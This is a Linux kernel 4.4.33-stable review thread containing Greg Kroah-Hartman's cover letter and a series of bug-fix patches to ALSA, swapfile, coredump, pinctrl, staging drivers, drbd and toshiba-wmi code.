4.4.33-stable review
Subsystems (3)
Greg Kroah-Hartman
maintainercover 4.4.33-stable review
This is the start of the stable review cycle for the 4.4.33 release. There are 38 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Sat Nov 19 10:32:25 UTC 2016. Anything received after that time might be too late.
The whole patch series can be found in one patch at:
kernel.org/pub/linux/kernel/v4.x/stable-review/patch-4.4.33-rc1.gz
or in the git tree and branch at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-4.4.y
and the diffstat can be found below.
thanks,
greg k-h
-------------
Pseudo-Shortlog of commits:
Greg Kroah-Hartman <[email protected]>
Linux 4.4.33-rc1
Jann Horn <[email protected]>
netfilter: fix namespace handling in nf_log_proc_dostring
Goldwyn Rodrigues <[email protected]>
btrfs: qgroup: Prevent qgroup->reserved from going subzero
Fabio Estevam <[email protected]>
mmc: mxs: Initialize the spinlock prior to using it
Chen-Yu Tsai <[email protected]>
ASoC: sun4i-codec: return error code instead of NULL when create_card fails
Punit Agrawal <[email protected]>
ACPI / APEI: Fix incorrect return value of ghes_proc()
Huaibin Wang <[email protected]>
i40e: fix call of ndo_dflt_bridge_getlink()
Andrew Lutomirski <[email protected]>
hwrng: core - Don't use a stack buffer in add_early_randomness()
Daniel Mentz <[email protected]>
lib/genalloc.c: start search from start of chunk
Alexander Usyskin <[email protected]>
mei: bus: fix received data size check in NFC fixup
Joerg Roedel <[email protected]>
iommu/vt-d: Fix dead-locks in disable_dmar_iommu() path
Baoquan He <[email protected]>
iommu/amd: Free domain id when free a domain of struct dma_ops_domain
Richard Genoud <[email protected]>
tty/serial: at91: fix hardware handshake on Atmel platforms
Ludovic Desroches <[email protected]>
dmaengine: at_xdmac: fix spurious flag status for mem2mem transfers
Ville Syrjälä <[email protected]>
drm/i915: Respect alternate_ddc_pin for all DDI ports
James Hogan <[email protected]>
KVM: MIPS: Precalculate MMIO load resume PC
Sreekanth Reddy <[email protected]>
scsi: mpt3sas: Fix for block device of raid exists even after deleting raid disk
Bill Kuzeja <[email protected]>
scsi: qla2xxx: Fix scsi scan hang triggered if adapter fails during init
Song Hongyan <[email protected]>
iio: orientation: hid-sensor-rotation: Add PM function (fix non working driver)
Song Hongyan <[email protected]>
iio: hid-sensors: Increase the precision of scale to fix wrong reading interpretation.
Scott Wood <[email protected]>
clk: qoriq: Don't allow CPU clocks higher than starting value
Azael Avalos <[email protected]>
toshiba-wmi: Fix loading the driver on non Toshiba laptops
Richard Weinberger <[email protected]>
drbd: Fix kernel_sendmsg() usage - potential NULL deref
Felipe Balbi <[email protected]>
usb: gadget: u_ether: remove interrupt throttling
Johan Hovold <[email protected]>
USB: cdc-acm: fix TIOCMIWAIT
Marc Dietrich <[email protected]>
staging: nvec: remove managed resource from PS2 driver
Paul Fertser <[email protected]>
Revert "staging: nvec: ps2: change serio type to passthrough"
Paul Fertser <[email protected]>
drivers: staging: nvec: remove bogus reset command for PS/2 interface
Arnd Bergmann <[email protected]>
staging: iio: ad5933: avoid uninitialized variable in error case
Mika Westerberg <[email protected]>
pinctrl: cherryview: Prevent possible interrupt storm on resume
Mika Westerberg <[email protected]>
pinctrl: cherryview: Serialize register access in suspend/resume
Vineet Gupta <[email protected]>
ARC: timer: rtc: implement read loop in "C" vs. inline asm
Michael Holzheu <[email protected]>
s390/hypfs: Use get_free_page() instead of kmalloc to ensure page alignment
Andrey Ryabinin <[email protected]>
coredump: fix unfreezable coredumping task
Jann Horn <[email protected]>
swapfile: fix memory corruption via malformed swapfile
Sean Young <[email protected]>
dib0700: fix nec repeat handling
murray foster <[email protected]>
ASoC: cs4270: fix DAPM stream name mismatch
Takashi Iwai <[email protected]>
ALSA: info: Limit the proc text input size
Takashi Iwai <[email protected]>
ALSA: info: Return error for invalid read/write
-------------
Diffstat:
Makefile | 4 +- arch/arc/kernel/time.c | 19 ++--- arch/mips/include/asm/kvm_host.h | 7 +- arch/mips/kvm/emulate.c | 24 ++++--- arch/s390/hypfs/hypfs_diag.c | 6 +- drivers/acpi/apei/ghes.c | 2 +- drivers/block/drbd/drbd_main.c | 2 +- drivers/char/hw_random/core.c | 6 +- drivers/clk/clk-qoriq.c | 13 ++-- drivers/dma/at_xdmac.c | 18 ++++- drivers/gpu/drm/i915/intel_hdmi.c | 84 ++++++++++++---------- .../iio/common/hid-sensors/hid-sensor-attributes.c | 56 +++++++-------- drivers/iio/orientation/hid-sensor-rotation.c | 1 + drivers/iommu/amd_iommu.c | 3 + drivers/iommu/intel-iommu.c | 14 +++- drivers/media/usb/dvb-usb/dib0700_core.c | 5 +- drivers/misc/mei/bus-fixup.c | 2 +- drivers/mmc/host/mxs-mmc.c | 4 +- drivers/net/ethernet/intel/i40e/i40e_main.c | 2 +- drivers/nfc/mei_phy.c | 2 +- drivers/pinctrl/intel/pinctrl-cherryview.c | 17 ++++- drivers/platform/x86/toshiba-wmi.c | 26 +++++-- drivers/scsi/mpt3sas/mpt3sas_scsih.c | 4 +- drivers/scsi/qla2xxx/qla_os.c | 2 + drivers/staging/iio/impedance-analyzer/ad5933.c | 17 +++-- drivers/staging/nvec/nvec_ps2.c | 8 +-- drivers/tty/serial/atmel_serial.c | 27 +++++-- drivers/usb/class/cdc-acm.c | 2 - drivers/usb/gadget/function/u_ether.c | 8 --- fs/btrfs/inode.c | 9 ++- fs/coredump.c | 3 + lib/genalloc.c | 3 +- mm/swapfile.c | 2 + net/netfilter/nf_log.c | 6 +- sound/core/info.c | 9 ++- sound/soc/codecs/cs4270.c | 8 +-- sound/soc/sunxi/sun4i-codec.c | 7 +- 37 files changed, 269 insertions(+), 163 deletions(-)
Greg Kroah-Hartman
maintainerPATCH 1/38 ALSA: info: Return error for invalid read/write
4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Takashi Iwai <[email protected]>
commit 6809cd682b82dfff47943850d1a8c714f971b5ca upstream.
Currently the ALSA proc handler allows read or write even if the proc file were write-only or read-only. It's mostly harmless, does thing but allocating memory and ignores the input/output. But it doesn't tell user about the invalid use, and it's confusing and inconsistent in comparison with other proc files.
This patch adds some sanity checks and let the proc handler returning an -EIO error when the invalid read/write is performed.
--- sound/core/info.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-)
sound/core/info.c +5 -1
@@ -325,6 +325,8 @@ static ssize_t snd_info_text_entry_writesize_t next;int err =0 ; +if (!entry->c.text.write) +return -EIO ; pos = *offset;if (!valid_pos (pos, count))return -EIO ;
@@ -366,7 +368,9 @@ static int snd_info_seq_show(struct seq_struct snd_info_private_data *data = seq->private;struct snd_info_entry *entry = data->entry; -if (entry->c.text.read) { +if (!entry->c.text.read) { +return -EIO ; + }else { data->rbuffer->buffer = (char *)seq;/* XXX hack! */ entry->c.text.read (entry, data->rbuffer); }
Greg Kroah-Hartman
maintainerPATCH 2/38 ALSA: info: Limit the proc text input size
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Takashi Iwai <[email protected]>
commit 027a9fe6835620422b6713892175716f3613dd9d upstream.
The ALSA proc handler allows currently the write in the unlimited size until kmalloc() fails. But basically the write is supposed to be only for small inputs, mostly for one line inputs, and we don't have to handle too large sizes at all. Since the kmalloc error results in the kernel warning, it's better to limit the size beforehand.
This patch adds the limit of 16kB, which must be large enough for the currently existing code.
--- sound/core/info.c | 3 +++ 1 file changed, 3 insertions(+)
sound/core/info.c +3 -0
@@ -331,6 +331,9 @@ static ssize_t snd_info_text_entry_writeif (!valid_pos (pos, count))return -EIO ; next = pos + count; +/* don't handle too large text inputs */ +if (next >16 *1024 ) +return -EIO ;mutex_lock (&entry->access); buf = data->wbuffer;if (!buf) {
Greg Kroah-Hartman
maintainerPATCH 3/38 ASoC: cs4270: fix DAPM stream name mismatch
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: murray foster <[email protected]>
commit aa5f920993bda2095952177eea79bc8e58ae6065 upstream.
Mismatching stream names in DAPM route and widget definitions are causing compilation errors. Fixing these names allows the cs4270 driver to compile and function.
[Errors must be at probe time not compile time -- broonie]
--- sound/soc/codecs/cs4270.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
sound/soc/codecs/cs4270.c +4 -4
@@ -148,11 +148,11 @@ SND_SOC_DAPM_OUTPUT("AOUTR"), };static const struct snd_soc_dapm_route cs4270_dapm_routes[] = { - {"Capture" ,NULL ,"AINA" }, - {"Capture" ,NULL ,"AINB" }, + {"Capture" ,NULL ,"AINL" }, + {"Capture" ,NULL ,"AINR" }, - {"AOUTA" ,NULL ,"Playback" }, - {"AOUTB" ,NULL ,"Playback" }, + {"AOUTL" ,NULL ,"Playback" }, + {"AOUTR" ,NULL ,"Playback" }, };/**
Greg Kroah-Hartman
maintainerPATCH 5/38 swapfile: fix memory corruption via malformed swapfile
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jann Horn <[email protected]>
commit dd111be69114cc867f8e826284559bfbc1c40e37 upstream.
When root activates a swap partition whose header has the wrong endianness, nr_badpages elements of badpages are swabbed before nr_badpages has been checked, leading to a buffer overrun of up to 8GB.
This normally is not a security issue because it can only be exploited by root (more specifically, a process with CAP_SYS_ADMIN or the ability to modify a swap file/partition), and such a process can already e.g. modify swapped-out memory of any other userspace process on the system.
--- mm/swapfile.c | 2 ++ 1 file changed, 2 insertions(+)
mm/swapfile.c +2 -0
@@ -2225,6 +2225,8 @@ static unsigned long read_swap_header(stswab32s (&swap_header->info.version);swab32s (&swap_header->info.last_page);swab32s (&swap_header->info.nr_badpages); +if (swap_header->info.nr_badpages >MAX_SWAP_BADPAGES ) +return 0 ;for (i =0 ; i < swap_header->info.nr_badpages; i++)swab32s (&swap_header->info.badpages[i]); }
Greg Kroah-Hartman
maintainerPATCH 6/38 coredump: fix unfreezable coredumping task
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Andrey Ryabinin <[email protected]>
commit 70d78fe7c8b640b5acfad56ad341985b3810998a upstream.
It could be not possible to freeze coredumping task when it waits for 'core_state->startup' completion, because threads are frozen in get_signal() before they got a chance to complete 'core_state->startup'.
Inability to freeze a task during suspend will cause suspend to fail. Also CRIU uses cgroup freezer during dump operation. So with an unfreezable task the CRIU dump will fail because it waits for a transition from 'FREEZING' to 'FROZEN' state which will never happen.
Use freezer_do_not_count() to tell freezer to ignore coredumping task while it waits for core_state->startup completion.
--- fs/coredump.c | 3 +++ 1 file changed, 3 insertions(+)
fs/coredump.c +3 -0
@@ -1,6 +1,7 @@#include <linux/slab.h> #include <linux/file.h> #include <linux/fdtable.h> +#include <linux/freezer.h> #include <linux/mm.h> #include <linux/stat.h> #include <linux/fcntl.h>
@@ -399,7 +400,9 @@ static int coredump_wait(int exit_code,if (core_waiters >0 ) {struct core_thread *ptr; +freezer_do_not_count ();wait_for_completion (&core_state->startup); +freezer_count ();/* * Wait for all the threads to become inactive, so that * all the thread context (extended register state, like
Greg Kroah-Hartman
maintainerPATCH 7/38 s390/hypfs: Use get_free_page() instead of kmalloc to ensure page alignment
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michael Holzheu <[email protected]>
commit 237d6e6884136923b6bd26d5141ebe1d065960c9 upstream.
Since commit d86bd1bece6f ("mm/slub: support left redzone") it is no longer guaranteed that kmalloc(PAGE_SIZE) returns page aligned memory.
After the above commit we get an error for diag224 because aligned memory is required. This leads to the following user visible error:
# mount none -t s390_hypfs /sys/hypervisor/ mount: unknown filesystem type 's390_hypfs'
# dmesg | grep hypfs
hypfs.cccfb8: The hardware system does not provide all functions
required by hypfs
hypfs.7a79f0: Initialization of hypfs failed with rc=-61Fix this problem and use get_free_page() instead of kmalloc() to get correctly aligned memory.
--- arch/s390/hypfs/hypfs_diag.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-)
arch/s390/hypfs/hypfs_diag.c +3 -3
@@ -525,11 +525,11 @@ static int diag224(void *ptr)static int diag224_get_name_table (void ) {/* memory must be below 2GB */ - diag224_cpu_names =kmalloc (PAGE_SIZE ,GFP_KERNEL |GFP_DMA ); + diag224_cpu_names = (char *)__get_free_page (GFP_KERNEL |GFP_DMA );if (!diag224_cpu_names)return -ENOMEM ;if (diag224 (diag224_cpu_names)) { -kfree (diag224_cpu_names); +free_page ((unsigned long ) diag224_cpu_names);return -EOPNOTSUPP ; }EBCASC (diag224_cpu_names +16 , (*diag224_cpu_names +1 ) *16 );
@@ -538,7 +538,7 @@ static int diag224_get_name_table(void)static void diag224_delete_name_table (void ) { -kfree (diag224_cpu_names); +free_page ((unsigned long ) diag224_cpu_names); }static int diag224_idx2name (int index,char *name)
Greg Kroah-Hartman
maintainerPATCH 8/38 ARC: timer: rtc: implement read loop in "C" vs. inline asm
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vineet Gupta <[email protected]>
commit 922cc171998ac3dbe74d57011ef7ed57e9b0d7df upstream.
The current code doesn't even compile as somehow the inline assembly can't see the register names defined as ARC_RTC_*
I'm pretty sure It worked when I first got it merged, but the tools were definitely different then.
So better to write this in "C" anyways.
--- arch/arc/kernel/time.c | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-)
arch/arc/kernel/time.c +11 -8
@@ -130,14 +130,17 @@ static cycle_t arc_counter_read(struct ccycle_t full; } stamp; - - __asm__ __volatile( - "1: \n" - " lr %0, [AUX_RTC_LOW] \n" - " lr %1, [AUX_RTC_HIGH] \n" - " lr %2, [AUX_RTC_CTRL] \n" - " bbit0.nt %2, 31, 1b \n" - : "=r" (stamp.low), "=r" (stamp.high), "=r" (status)); +/* +* hardware has an internal state machine which tracks readout of +* low/high and updates the CTRL.status if +* - interrupt/exception taken between the two reads +* - high increments after low has been read +*/ +do { + stamp.low =read_aux_reg (AUX_RTC_LOW ); + stamp.high =read_aux_reg (AUX_RTC_HIGH ); + status =read_aux_reg (AUX_RTC_CTRL ); + }while (!(status &_BITUL (31 )));return stamp.full; }
Greg Kroah-Hartman
maintainerPATCH 9/38 pinctrl: cherryview: Serialize register access in suspend/resume
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Mika Westerberg <[email protected]>
commit 56211121c0825cd188caad05574fdc518d5cac6f upstream.
If async suspend is enabled, the driver may access registers concurrently with another instance which may fail because of the bug in Cherryview GPIO hardware. Prevent this by taking the shared lock while accessing the hardware in suspend and resume hooks.
--- drivers/pinctrl/intel/pinctrl-cherryview.c | 10 ++++++++++ 1 file changed, 10 insertions(+)
drivers/pinctrl/intel/pinctrl-cherryview.c +10 -0
@@ -1568,8 +1568,11 @@ static int chv_pinctrl_suspend(struct de {struct platform_device *pdev =to_platform_device (dev);struct chv_pinctrl *pctrl =platform_get_drvdata (pdev); +unsigned long flags;int i; +raw_spin_lock_irqsave (&chv_lock, flags); + pctrl->saved_intmask =readl (pctrl->regs +CHV_INTMASK );for (i =0 ; i < pctrl->community->npins; i++) {
@@ -1590,6 +1593,8 @@ static int chv_pinctrl_suspend(struct de ctx->padctrl1 =readl (reg); } +raw_spin_unlock_irqrestore (&chv_lock, flags); +return 0 ; }
@@ -1597,8 +1602,11 @@ static int chv_pinctrl_resume(struct dev {struct platform_device *pdev =to_platform_device (dev);struct chv_pinctrl *pctrl =platform_get_drvdata (pdev); +unsigned long flags;int i; +raw_spin_lock_irqsave (&chv_lock, flags); +/* * Mask all interrupts before restoring per-pin configuration * registers because we don't know in which state BIOS left them
@@ -1643,6 +1651,8 @@ static int chv_pinctrl_resume(struct devchv_writel (0xffff , pctrl->regs +CHV_INTSTAT );chv_writel (pctrl->saved_intmask, pctrl->regs +CHV_INTMASK ); +raw_spin_unlock_irqrestore (&chv_lock, flags); + return 0; }#endif
Greg Kroah-Hartman
maintainerPATCH 10/38 pinctrl: cherryview: Prevent possible interrupt storm on resume
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Mika Westerberg <[email protected]>
commit d2cdf5dc58f6970e9d9d26e47974c21fe87983f3 upstream.
When the system is suspended to S3 the BIOS might re-initialize certain GPIO pins back to their original state or it may re-program interrupt mask of others. For example Acer TravelMate B116-M had BIOS bug where certain GPIO pin (MF_ISH_GPIO_5) was programmed to trigger on high level, and the pin state was high once the BIOS gave control to the OS on resume.
This triggers lots of messages like:
irq 117, desc: ffff88017a61e600, depth: 1, count: 0, unhandled: 0 ->handle_irq(): ffffffff8109b613, handle_bad_irq+0x0/0x1e0 ->irq_data.chip(): ffffffffa0020180, chv_pinctrl_exit+0x2d84/0x12 [pinctrl_cherryview]
->action(): (null)
IRQ_NOPROBE set
We reset the mask back to known state in chv_pinctrl_resume() but that is called only after device interrupts have already been enabled.
Now, this particular issue was fixed by upgrading the BIOS to the latest (v1.23) but not everybody upgrades their BIOSes so we fix it up in the driver as well.
Prevent the possible interrupt storm by moving suspend and resume hooks to be called at _noirq time instead. Since device interrupts are still disabled we can restore the mask back to known state before interrupt storm happens.
--- drivers/pinctrl/intel/pinctrl-cherryview.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-)
drivers/pinctrl/intel/pinctrl-cherryview.c +4 -3
@@ -1564,7 +1564,7 @@ static int chv_pinctrl_remove(struct pla }#ifdef CONFIG_PM_SLEEP -static int chv_pinctrl_suspend (struct device *dev) +static int chv_pinctrl_suspend_noirq (struct device *dev) {struct platform_device *pdev =to_platform_device (dev);struct chv_pinctrl *pctrl =platform_get_drvdata (pdev);
@@ -1598,7 +1598,7 @@ static int chv_pinctrl_suspend(struct dereturn 0 ; } -static int chv_pinctrl_resume (struct device *dev) +static int chv_pinctrl_resume_noirq (struct device *dev) {struct platform_device *pdev =to_platform_device (dev);struct chv_pinctrl *pctrl =platform_get_drvdata (pdev);
@@ -1658,7 +1658,8 @@ static int chv_pinctrl_resume(struct dev#endif static const struct dev_pm_ops chv_pinctrl_pm_ops = { -SET_LATE_SYSTEM_SLEEP_PM_OPS (chv_pinctrl_suspend, chv_pinctrl_resume) +SET_NOIRQ_SYSTEM_SLEEP_PM_OPS (chv_pinctrl_suspend_noirq, + chv_pinctrl_resume_noirq) };static const struct acpi_device_id chv_pinctrl_acpi_match[] = {
Greg Kroah-Hartman
maintainerPATCH 11/38 staging: iio: ad5933: avoid uninitialized variable in error case
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Arnd Bergmann <[email protected]>
commit 34eee70a7b82b09dbda4cb453e0e21d460dae226 upstream.
The ad5933_i2c_read function returns an error code to indicate whether it could read data or not. However ad5933_work() ignores this return code and just accesses the data unconditionally, which gets detected by gcc as a possible bug:
drivers/staging/iio/impedance-analyzer/ad5933.c: In function 'ad5933_work':drivers/staging/iio/impedance-analyzer/ad5933.c:649:16: warning: 'status' may be used uninitialized in this function [-Wmaybe-uninitialized]
This adds minimal error handling so we only evaluate the data if it was correctly read.
--- drivers/staging/iio/impedance-analyzer/ad5933.c | 17 ++++++++++------- 1 file changed, 10 insertions(+), 7 deletions(-)
drivers/staging/iio/impedance-analyzer/ad5933.c +10 -7
@@ -647,6 +647,7 @@ static void ad5933_work(struct work_stru__be16 buf[2 ];int val[2 ];unsigned char status; +int ret;mutex_lock (&indio_dev->mlock);if (st->state ==AD5933_CTRL_INIT_START_FREQ ) {
@@ -654,19 +655,22 @@ static void ad5933_work(struct work_struad5933_cmd (st,AD5933_CTRL_START_SWEEP ); st->state =AD5933_CTRL_START_SWEEP ;schedule_delayed_work (&st->work, st->poll_time_jiffies); -mutex_unlock (&indio_dev->mlock); -return ; + goto out; } -ad5933_i2c_read (st->client,AD5933_REG_STATUS ,1 , &status); + ret =ad5933_i2c_read (st->client,AD5933_REG_STATUS ,1 , &status); +if (ret) + goto out;if (status &AD5933_STAT_DATA_VALID ) {int scan_count =bitmap_weight (indio_dev->active_scan_mask, indio_dev->masklength); -ad5933_i2c_read (st->client, + ret =ad5933_i2c_read (st->client,test_bit (1 , indio_dev->active_scan_mask) ?AD5933_REG_REAL_DATA :AD5933_REG_IMAG_DATA , scan_count *2 , (u8 *)buf); +if (ret) + goto out;if (scan_count ==2 ) { val[0 ] =be16_to_cpu (buf[0 ]);
@@ -678,8 +682,7 @@ static void ad5933_work(struct work_stru }else {/* no data available - try again later */ schedule_delayed_work (&st->work, st->poll_time_jiffies); -mutex_unlock (&indio_dev->mlock); -return ; + goto out; }if (status &AD5933_STAT_SWEEP_DONE ) {
@@ -691,7 +694,7 @@ static void ad5933_work(struct work_struad5933_cmd (st,AD5933_CTRL_INC_FREQ );schedule_delayed_work (&st->work, st->poll_time_jiffies); } - +out:mutex_unlock (&indio_dev->mlock); }
Greg Kroah-Hartman
maintainerPATCH 12/38 drivers: staging: nvec: remove bogus reset command for PS/2 interface
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paul Fertser <[email protected]>
commit d8f8a74d5fece355d2234e1731231d1aebc66b38 upstream.
This command was sent behind serio's back and the answer to it was confusing atkbd probe function which lead to the elantech touchpad getting detected as a keyboard.
To prevent this from happening just let every party do its part of the job.
--- drivers/staging/nvec/nvec_ps2.c | 4 ---- 1 file changed, 4 deletions(-)
drivers/staging/nvec/nvec_ps2.c +0 -4
@@ -106,7 +106,6 @@ static int nvec_mouse_probe(struct platf {struct nvec_chip *nvec =dev_get_drvdata (pdev->dev.parent);struct serio *ser_dev; -char mouse_reset[] = {NVEC_PS2 ,SEND_COMMAND ,PSMOUSE_RST ,3 }; ser_dev =devm_kzalloc (&pdev->dev,sizeof (struct serio ),GFP_KERNEL );if (!ser_dev)
@@ -127,9 +126,6 @@ static int nvec_mouse_probe(struct platfserio_register_port (ser_dev); -/* mouse reset */ -nvec_write_async (nvec, mouse_reset,sizeof (mouse_reset)); -return 0 ; }
Greg Kroah-Hartman
maintainerPATCH 13/38 Revert "staging: nvec: ps2: change serio type to passthrough"
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paul Fertser <[email protected]>
commit 17c1c9ba15b238ef79b51cf40d855c05b58d5934 upstream.
This reverts commit 36b30d6138f4677514aca35ab76c20c1604baaad.
This is necessary to detect paz00 (ac100) touchpad properly as one speaking ETPS/2 protocol. Without it X.org's synaptics driver doesn't work as the touchpad is detected as an ImPS/2 mouse instead.
Commit ec6184b1c717b8768122e25fe6d312f609cc1bb4 changed the way auto-detection is performed on ports marked as pass through and made the issue apparent.
A pass through port is an additional PS/2 port used to connect a slave device to a master device that is using PS/2 to communicate with the host (so slave's PS/2 communication is tunneled over master's PS/2 link). "Synaptics PS/2 TouchPad Interfacing Guide" describes such a setup (PS/2 PASS-THROUGH OPTION section).
Since paz00's embedded controller is not connected to a PS/2 port itself, the PS/2 interface it exposes is not a pass-through one.
--- drivers/staging/nvec/nvec_ps2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/staging/nvec/nvec_ps2.c +1 -1
@@ -111,7 +111,7 @@ static int nvec_mouse_probe(struct platfif (!ser_dev)return -ENOMEM ; - ser_dev->id.type =SERIO_PS_PSTHRU ; + ser_dev->id.type =SERIO_8042 ; ser_dev->write = ps2_sendcommand; ser_dev->start = ps2_startstreaming; ser_dev->stop = ps2_stopstreaming;
Greg Kroah-Hartman
maintainerPATCH 14/38 staging: nvec: remove managed resource from PS2 driver
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Marc Dietrich <[email protected]>
commit 68fae2f3df455f53d0dfe33483a49020b3b758f3 upstream.
This basicly reverts commit e534f3e9 (staging:nvec: Introduce the use of the managed version of kzalloc). Serio struct should never by managed because it is refcounted. Doing so will lead to a double free oops on module remove.
--- drivers/staging/nvec/nvec_ps2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/staging/nvec/nvec_ps2.c +1 -1
@@ -107,7 +107,7 @@ static int nvec_mouse_probe(struct platfstruct nvec_chip *nvec =dev_get_drvdata (pdev->dev.parent);struct serio *ser_dev; - ser_dev =devm_kzalloc (&pdev->dev,sizeof (struct serio ),GFP_KERNEL ); + ser_dev =kzalloc (sizeof (struct serio ),GFP_KERNEL );if (!ser_dev)return -ENOMEM ;
Greg Kroah-Hartman
maintainerPATCH 15/38 USB: cdc-acm: fix TIOCMIWAIT
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Johan Hovold <[email protected]>
commit 18266403f3fe507f0246faa1d5432333a2f139ca upstream.
The TIOCMIWAIT implementation would return -EINVAL if any of the three supported signals were included in the mask.
Instead of returning an error in case TIOCM_CTS is included, simply drop the mask check completely, which is in accordance with how other drivers implement this ioctl.
--- drivers/usb/class/cdc-acm.c | 2 -- 1 file changed, 2 deletions(-)
drivers/usb/class/cdc-acm.c +0 -2
@@ -877,8 +877,6 @@ static int wait_serial_change(struct acmDECLARE_WAITQUEUE (wait, current);struct async_icount old, new; -if (arg & (TIOCM_DSR |TIOCM_RI |TIOCM_CD )) -return -EINVAL ; do { spin_lock_irq(&acm->read_lock); old = acm->oldcount;
Greg Kroah-Hartman
maintainerPATCH 17/38 drbd: Fix kernel_sendmsg() usage - potential NULL deref
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Richard Weinberger <[email protected]>
commit d8e9e5e80e882b4f90cba7edf1e6cb7376e52e54 upstream.
Don't pass a size larger than iov_len to kernel_sendmsg(). Otherwise it will cause a NULL pointer deref when kernel_sendmsg() returns with rv < size.
DRBD as external module has been around in the kernel 2.4 days already. We used to be compatible to 2.4 and very early 2.6 kernels, we used to use
rv = sock_sendmsg(sock, &msg, iov.iov_len);
then later changed to
rv = kernel_sendmsg(sock, &msg, &iov, 1, size);
when we should have used
rv = kernel_sendmsg(sock, &msg, &iov, 1, iov.iov_len);
tcp_sendmsg() used to totally ignore the size parameter.
57be5bd ip: convert tcp_sendmsg() to iov_iter primitives
changes that, and exposes our long standing error.
Even with this error exposed, to trigger the bug, we would need to have an environment (config or otherwise) causing us to not use sendpage() for larger transfers, a failing connection, and have it fail "just at the right time". Apparently that was unlikely enough for most, so this went unnoticed for years.
Still, it is known to trigger at least some of these,
and suspected for the others:
[0] http://lists.linbit.com/pipermail/drbd-user/2016-July/023112.html
[1] http://lists.linbit.com/pipermail/drbd-dev/2016-March/003362.html
[2] https://forums.grsecurity.net/viewtopic.php?f=3&t=4546
[3] https://ubuntuforums.org/showthread.php?t=2336150
[4] http://e2.howsolveproblem.com/i/1175162/
This should go into 4.9,
and into all stable branches since and including v4.0, which is the first to contain the exposing change.
It is correct for all stable branches older than that as well (which contain the DRBD driver; which is 2.6.33 and up).
It requires a small "conflict" resolution for v4.4 and earlier, with v4.5 we dropped the comment block immediately preceding the kernel_sendmsg().
--- drivers/block/drbd/drbd_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/block/drbd/drbd_main.c +1 -1
@@ -1802,7 +1802,7 @@ int drbd_send(struct drbd_connection *co* do we need to block DRBD_SIG if sock == &meta.socket ?? * otherwise wake_asender() might interrupt some send_*Ack ! */ - rv =kernel_sendmsg (sock, &msg, &iov,1 , size); + rv =kernel_sendmsg (sock, &msg, &iov,1 , iov.iov_len);if (rv == -EAGAIN ) {if (we_should_drop_the_connection (connection, sock))break ;
Greg Kroah-Hartman
maintainerPATCH 18/38 toshiba-wmi: Fix loading the driver on non Toshiba laptops
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Azael Avalos <[email protected]>
commit 1c80e9603fe8341ed5bea696747d07083d5e0476 upstream.
Bug 150611 uncovered that the WMI ID used by the toshiba-wmi driver is not Toshiba specific, and as such, the driver was being loaded on non Toshiba laptops too.
This patch adds a DMI matching list checking for TOSHIBA as the vendor, refusing to load if it is not.
Also the WMI GUID was renamed, dropping the TOSHIBA_ prefix, to better reflect that such GUID is not a Toshiba specific one.
--- drivers/platform/x86/toshiba-wmi.c | 26 +++++++++++++++++++------- 1 file changed, 19 insertions(+), 7 deletions(-)
drivers/platform/x86/toshiba-wmi.c +19 -7
@@ -24,14 +24,15 @@#include <linux/acpi.h> #include <linux/input.h> #include <linux/input/sparse-keymap.h> +#include <linux/dmi.h> MODULE_AUTHOR ("Azael Avalos" );MODULE_DESCRIPTION ("Toshiba WMI Hotkey Driver" );MODULE_LICENSE ("GPL" ); -#define TOSHIBA_WMI_EVENT_GUID "59142400-C6A3-40FA-BADB-8A2652834100" +#define WMI_EVENT_GUID "59142400-C6A3-40FA-BADB-8A2652834100" -MODULE_ALIAS ("wmi:" TOSHIBA_WMI_EVENT_GUID ); +MODULE_ALIAS ("wmi:" WMI_EVENT_GUID );static struct input_dev *toshiba_wmi_input_dev;
@@ -63,6 +64,16 @@ static void toshiba_wmi_notify(u32 valuekfree (response.pointer); } +static struct dmi_system_id toshiba_wmi_dmi_table[]__initdata = { + { + .ident ="Toshiba laptop" , + .matches = { +DMI_MATCH (DMI_SYS_VENDOR ,"TOSHIBA" ), + }, + }, + {} +}; +static int __init toshiba_wmi_input_setup (void ) {acpi_status status;
@@ -81,7 +92,7 @@ static int __init toshiba_wmi_input_setuif (err) goto err_free_dev; - status =wmi_install_notify_handler (TOSHIBA_WMI_EVENT_GUID , + status =wmi_install_notify_handler (WMI_EVENT_GUID , toshiba_wmi_notify,NULL );if (ACPI_FAILURE (status)) { err = -EIO ;
